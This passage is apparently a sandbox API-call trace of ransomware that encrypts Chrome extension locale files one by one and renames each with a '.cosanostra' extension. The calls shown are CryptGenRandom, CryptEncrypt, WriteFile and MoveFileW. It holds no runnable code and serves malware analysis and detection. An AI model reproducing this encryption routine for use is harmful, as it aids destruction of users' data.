Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\messages.json.cosanostra")) returned 1 [0084.933] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9e8 | out: pbBuffer=0x251f9e8) returned 1 [0084.933] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9e0*=0x30) returned 1 [0084.934] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0084.976] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json") returned 159 [0084.976] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.977] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff07, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.977] WriteFile (in: hFile=0x18c, lpBuffer=0x3011520*, nNumberOfBytesToWrite=0xf9, lpNumberOfBytesWritten=0x251f9a4, lpOverlapped=0x0 | out: lpBuffer=0x3011520*, lpNumberOfBytesWritten=0x251f9a4*=0xf9, lpOverlapped=0x0) returned 1 [0084.977] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.977] WriteFile (in: hFile=0x18c, lpBuffer=0x251f9e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f9a4, lpOverlapped=0x0 | out: lpBuffer=0x251f9e4*, lpNumberOfBytesWritten=0x251f9a4*=0x4, lpOverlapped=0x0) returned 1 [0084.977] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f9a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f9a4*=0x30, lpOverlapped=0x0) returned 1 [0084.977] CloseHandle (hObject=0x18c) returned 1 [0084.978] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\messages.json.cosanostra")) returned 1 [0084.978] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9e0 | out: pbBuffer=0x251f9e0) returned 1 [0084.978] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9d8*=0x30) returned 1 [0084.978] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.071] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json") returned 156 [0085.071] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.071] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffeea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.071] WriteFile (in: hFile=0x18c, lpBuffer=0x3014aa8*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x251f99c, lpOverlapped=0x0 | out: lpBuffer=0x3014aa8*, lpNumberOfBytesWritten=0x251f99c*=0x116, lpOverlapped=0x0) returned 1 [0085.072] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.072] WriteFile (in: hFile=0x18c, lpBuffer=0x251f9dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f99c, lpOverlapped=0x0 | out: lpBuffer=0x251f9dc*, lpNumberOfBytesWritten=0x251f99c*=0x4, lpOverlapped=0x0) returned 1 [0085.072] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f99c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f99c*=0x30, lpOverlapped=0x0) returned 1 [0085.072] CloseHandle (hObject=0x18c) returned 1 [0085.072] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\messages.json.cosanostra")) returned 1 [0085.073] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9e0 | out: pbBuffer=0x251f9e0) returned 1 [0085.073] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9d8*=0x30) returned 1 [0085.073] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.110] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 157 [0085.110] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.110] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.111] WriteFile (in: hFile=0x184, lpBuffer=0x3019b38*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x251f99c, lpOverlapped=0x0 | out: lpBuffer=0x3019b38*, lpNumberOfBytesWritten=0x251f99c*=0xb3, lpOverlapped=0x0) returned 1 [0085.111] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.111] WriteFile (in: hFile=0x184, lpBuffer=0x251f9dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f99c, lpOverlapped=0x0 | out: lpBuffer=0x251f9dc*, lpNumberOfBytesWritten=0x251f99c*=0x4, lpOverlapped=0x0) returned 1 [0085.111] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f99c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f99c*=0x30, lpOverlapped=0x0) returned 1 [0085.111] CloseHandle (hObject=0x184) returned 1 [0085.111] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.cosanostra")) returned 1 [0085.112] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9d8 | out: pbBuffer=0x251f9d8) returned 1 [0085.112] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9d0*=0x30) returned 1 [0085.112] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.113] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 159 [0085.113] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.114] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffef5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.114] WriteFile (in: hFile=0x184, lpBuffer=0x3019b38*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x251f994, lpOverlapped=0x0 | out: lpBuffer=0x3019b38*, lpNumberOfBytesWritten=0x251f994*=0x10b, lpOverlapped=0x0) returned 1 [0085.114] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.114] WriteFile (in: hFile=0x184, lpBuffer=0x251f9d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f994, lpOverlapped=0x0 | out: lpBuffer=0x251f9d4*, lpNumberOfBytesWritten=0x251f994*=0x4, lpOverlapped=0x0) returned 1 [0085.114] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f994, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f994*=0x30, lpOverlapped=0x0) returned 1 [0085.114] CloseHandle (hObject=0x184) returned 1 [0085.114] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\messages.json.cosanostra")) returned 1 [0085.116] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9d0 | out: pbBuffer=0x251f9d0) returned 1 [0085.116] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9c8*=0x30) returned 1 [0085.116] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.116] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 159 [0085.116] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.117] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffeef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.117] WriteFile (in: hFile=0x184, lpBuffer=0x3019b38*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x251f98c, lpOverlapped=0x0 | out: lpBuffer=0x3019b38*, lpNumberOfBytesWritten=0x251f98c*=0x111, lpOverlapped=0x0) returned 1 [0085.117] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.117] WriteFile (in: hFile=0x184, lpBuffer=0x251f9cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f98c, lpOverlapped=0x0 | out: lpBuffer=0x251f9cc*, lpNumberOfBytesWritten=0x251f98c*=0x4, lpOverlapped=0x0) returned 1 [0085.117] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f98c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f98c*=0x30, lpOverlapped=0x0) returned 1 [0085.117] CloseHandle (hObject=0x184) returned 1 [0085.117] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json.cosanostra")) returned 1 [0085.120] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9c8 | out: pbBuffer=0x251f9c8) returned 1 [0085.120] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9c0*=0x30) returned 1 [0085.121] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.121] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 156 [0085.121] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.121] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffee9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.122] WriteFile (in: hFile=0x184, lpBuffer=0x3019b38*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x251f984, lpOverlapped=0x0 | out: lpBuffer=0x3019b38*, lpNumberOfBytesWritten=0x251f984*=0x117, lpOverlapped=0x0) returned 1 [0085.122] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.122] WriteFile (in: hFile=0x184, lpBuffer=0x251f9c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f984, lpOverlapped=0x0 | out: lpBuffer=0x251f9c4*, lpNumberOfBytesWritten=0x251f984*=0x4, lpOverlapped=0x0) returned 1 [0085.122] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f984, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f984*=0x30, lpOverlapped=0x0) returned 1 [0085.122] CloseHandle (hObject=0x184) returned 1 [0085.122] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json.cosanostra")) returned 1 [0085.124] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9c0 | out: pbBuffer=0x251f9c0) returned 1 [0085.124] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9b8*=0x30) returned 1 [0085.124] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.124] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 156 [0085.124] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.125] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffe9f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.125] WriteFile (in: hFile=0x184, lpBuffer=0x3019b38*, nNumberOfBytesToWrite=0x161, lpNumberOfBytesWritten=0x251f97c, lpOverlapped=0x0 | out: lpBuffer=0x3019b38*, lpNumberOfBytesWritten=0x251f97c*=0x161, lpOverlapped=0x0) returned 1 [0085.125] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.125] WriteFile (in: hFile=0x184, lpBuffer=0x251f9bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f97c, lpOverlapped=0x0 | out: lpBuffer=0x251f9bc*, lpNumberOfBytesWritten=0x251f97c*=0x4, lpOverlapped=0x0) returned 1 [0085.125] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f97c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f97c*=0x30, lpOverlapped=0x0) returned 1 [0085.125] CloseHandle (hObject=0x184) returned 1 [0085.125] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json.cosanostra")) returned 1 [0085.126] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9b8 | out: pbBuffer=0x251f9b8) returned 1 [0085.127] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9b0*=0x30) returned 1 [0085.127] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.127] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 156 [0085.127] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.128] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffef2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.128] WriteFile (in: hFile=0x184, lpBuffer=0x3019b38*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x251f974, lpOverlapped=0x0 | out: lpBuffer=0x3019b38*, lpNumberOfBytesWritten=0x251f974*=0x10e, lpOverlapped=0x0) returned 1 [0085.128] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.128] WriteFile (in: hFile=0x184, lpBuffer=0x251f9b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f974, lpOverlapped=0x0 | out: lpBuffer=0x251f9b4*, lpNumberOfBytesWritten=0x251f974*=0x4, lpOverlapped=0x0) returned 1 [0085.128] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f974, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f974*=0x30, lpOverlapped=0x0) returned 1 [0085.128] CloseHandle (hObject=0x184) returned 1 [0085.128] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 